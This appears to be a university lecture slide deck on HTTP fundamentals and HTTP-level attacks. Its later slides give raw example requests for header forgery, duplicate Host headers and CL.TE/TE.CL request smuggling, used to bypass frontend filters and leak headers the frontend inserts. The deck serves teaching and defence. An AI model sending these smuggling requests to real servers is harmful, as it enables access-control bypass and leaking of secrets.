1 of 59

HTTP – Strike 1

CSE 598 Advanced Security of the Web

Fish Wang

Fall 2026

2 of 59

Three central questions

  • How to name a resource?

​

  • How to request and serve a resource?

​

  • How to create hypertext?

3 of 59

Three central technologies

  • How to name a resource?
    • Uniform Resource Identifier (URI/URL)
  • How to request and serve a resource?
    • Hypertext Transfer Protocol (HTTP)
  • How to create hypertext?
    • Hypertext Markup Language (HTML)

4 of 59

Three central technologies

  • How to name a resource?
    • Uniform Resource Identifier (URI/URL)
  • How to request and serve a resource?
    • Hypertext Transfer Protocol (HTTP)
  • How to create hypertext?
    • Hypertext Markup Language (HTML)

5 of 59

Hypertext Transport Protocol

  • Protocol for how a web client can request a resource from a web server
  • Originally based on TCP, uses port 80 by default
  • Version 1.0
    • Defined in RFC 1945 (May 1996)
  • Version 1.1
    • Defined in RFC 2616 (June 1999)
  • Version 2.0
    • Based on SPDY (2015)
  • Version 3.0
    • Based on QUIC (2022)

6 of 59

HTTP – Important Terms

  • user agent
    • The client which initiates the request
  • server
    • A program which accepts HTTP requests and sends HTTP responses
  • proxy
    • An intermediary which acts as both a server and client for the purpose of making requests on behalf of other clients

7 of 59

HTTP – Overview

  • Client
    • Opens a TCP connection to the server
    • Sends a request to the server
  • Server
    • Listens for incoming TCP connections
    • Reads requests
    • Sends responses

8 of 59

HTTP – Overview

HTTP Request

HTTP Response

Server

Client

9 of 59

HTTP – Overview

Firewall

Proxy

Server

Client

10 of 59

The evolvement of HTTP

  • Four major versions of HTTP
    • 1.0 (1996), 1.1(1997), 2 (2015), and 3 (2022)
  • Initial design philosophy
    • Text-based protocol, easy to understand and inspect
    • Short-lived connections
    • One connection per TCP request

10

11 of 59

The evolvement of HTTP (Cont’d)

  • From 1.0 to 1.1
    • Virtual hosts: Multiple virtual hosts per IP
    • Persistent connections: Saving the cost of establishing new TCP connections�Connection: Keep-Alive

​

​

    • What drawbacks are there?

11

12 of 59

The evolvement of HTTP (Cont’d)

  • From 1.1 to 2.0
    • TCP connection multiplexing: Packing multiple HTTP streams into the same TCP connection
    • Header compression
    • Stream prioritization
    • Server push
    • No longer text-based (why?)

​

    • What else can we improve?

12

13 of 59

The evolvement of HTTP (Cont’d)

  • HTTP 3.0 (QUIC)
    • TCP sucks, let’s go UDP!
    • No more head-of-line blocking
    • Transport Layer Security (TLS) is intrinsic to HTTP 3

​

    • What else can we improve?

13

14 of 59

Requests

  • An HTTP 1.x request consists of:
    • method
    • resource (derived from the URI)
    • protocol version
    • client information
    • body (optional)

15 of 59

Requests – Syntax

  • Start line, followed by headers, followed by body
    • Each line separated by CRLF
  • Headers separated by body via empty line (just CRLF)

16 of 59

Requests – Methods

  • The method that that client wants applied to the resource
  • Common methods
      • GET – Request transfer of the entity referred to by the URI
      • POST – Ask the server to process the included body as “data” associated with the resource identified by the URI
      • PUT – Request that the enclosed entity be stored under the supplied URI
      • HEAD – Identical to GET except server must not return a body

​

17 of 59

Requests – Methods

  • OPTIONS – Request information about the communication options available on the request/response chain identified by the URL
  • DELETE – Request that the server delete the resource identified by the URI
  • TRACE – used to invoke a remote, application-layer loop-back of the request message and the server should reflect the message received back to the client as the body of the response
  • CONNECT – used with proxies
  • …
    • A webserver can define arbitrary extension methods

18 of 59

Requests – Example

GET / HTTP/1.1

User-Agent: curl/7.37.1

Host: www.google.com

Accept: */*

​

​

19 of 59

Host Header and HTTP/1.1

  • In HTTP 1.0, it is not possible to discern, from the request line, which server was intended to process the request:�GET / HTTP/1.0
  • Thus, it is not possible to associate multiple server names to the same IP address
    • What would happen if every server name had to have its own IP address?
  • In HTTP 1.1, the “Host” header is required, and it specifies which server name is the intended recipient�GET / HTTP/1.1�Host: example.com

20 of 59

Modern Requests

GET / HTTP/1.1

Host: www.google.com

Accept-Encoding: deflate, gzip

Accept: text/html,application/xhtml+xml,application/xml; q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36

​

21 of 59

Responses

  • An HTTP response consists of:
    • protocol version
    • status code
    • short reason
    • headers
    • body

​

22 of 59

Responses – Syntax

  • Status line, followed by headers, followed by body
    • Each line separated by CRLF
  • Headers separated by body via empty line (just CRLF)
  • Almost the same overall structure as request

23 of 59

Responses – Status Codes

  • 1XX – Informational: request received, continuing to process
  • 2XX – Successful: request received, understood, and accepted
  • 3XX – Redirection: user agent needs to take further action to fulfill the request
  • 4XX – Client error: request cannot be fulfilled or error in request
  • 5XX – Server error: the server is aware that it has erred or is incapable of performing the request

24 of 59

Responses – Status Codes

  • "200" ; OK
  • "201" ; Created
  • "202" ; Accepted
  • "204" ; No Content
  • “301" ; Moved Permanently
  • "307" ; Temporary Redirect

​

25 of 59

Responses – Status Codes

  • "400" ; Bad Request
  • "401" ; Unauthorized
  • "403" ; Forbidden
  • "404" ; Not Found
  • "500" ; Internal Server Error
  • "501" ; Not Implemented
  • "502" ; Bad Gateway
  • "503" ; Service Unavailable

​

26 of 59

Requests – Example

GET / HTTP/1.1

User-Agent: curl/7.37.1

Host: www.google.com

Accept: */*

​

​

27 of 59

Responses – Example

HTTP/1.1 200 OK

Date: Tue, 13 Jan 2015 03:57:26 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=ISO-8859-1

Set-Cookie: …

Server: gws

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02

Accept-Ranges: none

Vary: Accept-Encoding

Transfer-Encoding: chunked

​

<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Go …

28 of 59

Capturing HTTP traffic

  • tcpdump, Wireshark

28

29 of 59

How much data should the server read?

  • TCP is a stream protocol
    • You have no idea when the client finishes sending its HTTP request, unless the connection breaks

​

  • The HTTP header uses “\r\n” to separate header entries
    • The server reads until two consecutive “\r\n”s
  • The header must specify how much data to read in the HTTP request body
    • Content-Length: Number of bytes of the HTTP request body
    • Transfer-Encoding: chunked Each chunk in the request body specifies chunk size

29

30 of 59

Content-Length

GET / HTTP/1.1

Host: goodhost.com

Content-Length: 10

​

My content

30

31 of 59

Transfer-Encoding: chunked

GET / HTTP/1.1

Host: goodhost.com

Transfer-Encoding: chunked

​

a

My content

0

​

31

32 of 59

Other transfer encodings

  • Common encodings
    • chunked
    • compress (LZW-based compression)
    • deflate (zlib-based compression)
    • gzip (LZ77-based compression)

32

33 of 59

Monitoring and Modifying HTTP Traffic

  • HTTP traffic can be analyzed in different ways
    • Sniffers can be used to collect traffic
    • Servers can be configured to create extensive logs
    • Browsers can be used to analyze the content received from a server
    • Client-side/server-side proxies can be used to analyze the traffic without having to modify the target environment
  • Client-side proxies are especially effective in performing vulnerability analysis because they allow one to examine and modify each request and reply
    • Burp Suite (Burp Proxy)

34 of 59

HTTP Authentication

  • Based on a simple challenge-response scheme
  • The challenge is returned by the server as part of a 401 (unauthorized) reply message and specifies the authentication schema to be used
  • An authentication request refers to a realm, that is, a set of resources on the server
  • The client must include an Authorization header field with the required (valid) credentials

​

35 of 59

HTTP Basic Authentication

  • The server replies to an unauthorized request with a 401 message containing the header field��WWW-Authenticate: Basic realm="ReservedDocs"�
  • The client retries the access including in the header a field containing a cookie composed of base64 encoded (RFC 2045) username and password��Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==�
  • Can you crack the username/password?

​

36 of 59

HTTP 1.1 Authentication

  • Defines an additional authentication scheme based on cryptographic digests (RFC 2617)
    • Server sends a nonce as challenge
    • Client sends request with digest of the username, the password, the given nonce value, the HTTP method, and the requested URL
  • To authenticate the users the web server has to have access to clear-text user passwords

​

37 of 59

Security Issues (Strike 1)

37

38 of 59

Threat models

  • Developers (and defenders) extract and use information from HTTP requests
    • HTTP headers are (incorrectly) treated as the absolute truth

​

  • Defenders would like to properly defend against attacks
    • Traffic filtering (on the application layer)
    • A typical setup�Defender -> HTTP Frontend -> Defender -> HTTP Backend

​

  • HTTP traffic has no integrity check!
    • … but let’s leave it to our next class

38

39 of 59

HTTP frontend as firewalls & proxies

  • Frontend receives HTTP requests from client (TCP connections)
  • Frontend parses HTTP requests
  • Frontend filters the parsed requests�drops the ones that it doesn’t like (and kills their TCP connections)
  • (Optionally) Frontend alters the parsed requests and builds new requests
  • Frontend sends the parsed request to backend
  • Frontend receives responses from backend
  • (Optionally) Frontend filters the responses
  • Frontend sends the backend responses to client

39

40 of 59

HTTP header forgery

  • Technically HTTP header forgery is not a security issue itself; the security issues are the downstream implications
    • X-Forwarded-For forgery
    • URL/host conflict
    • Multiple header entries
    • Error corrections in HTTP headers

40

41 of 59

X-Forwarded-For forgery

  • When there is a proxy, X-Forwarded-For specifies the source IP of the request
  • To many web applications,

41

HTTP client IP

X-Forwarded-For value, if X-Forwarded-For is set

IP of the request client, otherwise

42 of 59

HTTP headers from CDN

  • CDN would add an HTTP header indicating the client’s IP
    • e.g., Cloudflare would add CF-Connecting-IP
    • Web applications assume CF-Connection-IP is always trustworthy, which allows attackers to forge source client IPs when targeting non-CF-protected services

42

43 of 59

URL/host conflict

  • The URL in the header line can be a full URL for a resource, which may be used to override Host
    • … or a new URL is created using the Host entry, bypassing URL-filters

43

GET http://192.168.0.4/secret HTTP/1.1

Host: goodhost.com

Let’s check http://goodhost.com/secret

Let’s access http://192.168.0.4/secret

44 of 59

Duplicated HTTP header entries

  • Frontend and backend may take different headers and interpret the HTTP request differently

44

GET /secret HTTP/1.1

Host: goodhost.com

Host: evilhost.com

Firewall: goodhost.com/secret can be accessed

Webserver: Accessing evilhost.com/secret

45 of 59

Error corrections in HTTP parsers

  • Some HTTP parsers accept “\n” as the separator
  • Frontend may ignore requests with “\n” while backend parses such requests normally

​

  • Keep this in mind as we will use it later in this course…

45

46 of 59

Frontend-backend desync

  • Also known as request smuggling
  • Caused by discrepancies between how different HTTP server parsers parse HTTP requests
    • Multiple Content-length/Transfer-Encoding headers
    • Content-Length/Transfer-Encoding desync (CL/TE desync)
    • TE/CL desync
    • HTTP 2 -> HTTP 1.1 downgrade smuggling

46

47 of 59

CL/TE desync

  • According to spec, Transfer-Encoding should be dropped if both Transfer-Encoding and Content-Length are present
    • However, …

​

  • Frontend does not support Transfer-Encoding and ignores it
    • It is fairly rare in HTTP requests and more common in responses
  • Three variants
    • CL.TE: Frontend uses CL and backend uses TE
    • TE.CL: Frontend uses TE and backend uses CL
    • TE.TE: Both frontend and backend use TE, but one of them got confused

47

48 of 59

CL.TE explained

POST / HTTP/1.1

Host: evilhost.com

Content-Length: 13

Transfer-Encoding: chunked

​

0

​

SMUGGLED

48

What frontend sees

What backend sees

49 of 59

CL.TE explained (Cont’d)

POST / HTTP/1.1

Host: evilhost.com

Content-Length: 13

Transfer-Encoding: chunked

​

0

​

SMUGGLED

49

To backend, it becomes the beginning of the next HTTP request

50 of 59

TE.CL explained

POST / HTTP/1.1

Host: evilhost.com

Content-Length: 3

Transfer-Encoding: chunked

​

8

SMUGGLED

0

50

What frontend sees

What backend sees

51 of 59

TE.CL explained (Cont’d)

POST / HTTP/1.1

Host: evilhost.com

Content-Length: 3

Transfer-Encoding: chunked

​

8

SMUGGLED

0

51

To backend, these lines become the beginning of the next HTTP request

52 of 59

Building an attack using CL.TE

  • Goal: Bypassing firewall (frontend) filtering of HTTP headers

52

POST / HTTP/1.1

Host: evilhost.com

Content-Length: 49

Transfer-Encoding: chunked

​

0

​

GET /secret HTTP/1.1

Host: evilhost.com

�GET / HTTP/1.1�Host: evilhost.com

53 of 59

Building an attack using TE.CL

  • Goal: Bypassing firewall (frontend) filtering

53

POST / HTTP/1.1

Host: evilhost.com

Content-Length: 3

Transfer-Encoding: chunked

​

0

​

GET /secret HTTP/1.1

Host: evilhost.com

54 of 59

Frontend request rewriting

  • Firewalls and proxies would sometimes rewrite HTTP requests and insert some trusted header entries
    • Still remember the Cloudflare case? CF-Connecting-IP
    • However, we don’t always know what these headers are
  • By carefully constructing the HTTP smuggling request, we can leak custom header entries inserted by frontend

54

55 of 59

Initial request (CL.TE)

POST / HTTP/1.1

Host: evilhost.com

Content-Length: ???

Transfer-Encoding: chunked

​

0

​

POST /save HTTP/1.1

Host: evilhost.com

Content-Length: ???

​

content=POST /save HTTP/1.1

Host: evilhost.com

...

55

56 of 59

Initial request (CL.TE)

POST / HTTP/1.1

Host: evilhost.com

Content-Length: ???

Transfer-Encoding: chunked

​

0

​

POST /save HTTP/1.1

Host: evilhost.com

Content-Length: ???

​

content=POST /save HTTP/1.1

Host: evilhost.com

...

56

1

2

1

2

Backend

Frontend

57 of 59

Initial request (CL.TE)

POST / HTTP/1.1

Host: evilhost.com

Content-Length: ???

Transfer-Encoding: chunked

​

0

​

POST /save HTTP/1.1

Host: evilhost.com

Content-Length: ???

​

content=POST /save HTTP/1.1

Host: evilhost.com

Secret: big-secret

...

57

1

2

1

2

Backend

Frontend

58 of 59

Why don’t HTTP servers strictly check?

  • Compatibility reasons
  • Supporting bad or weird HTTP clients

58

59 of 59

Questions?

59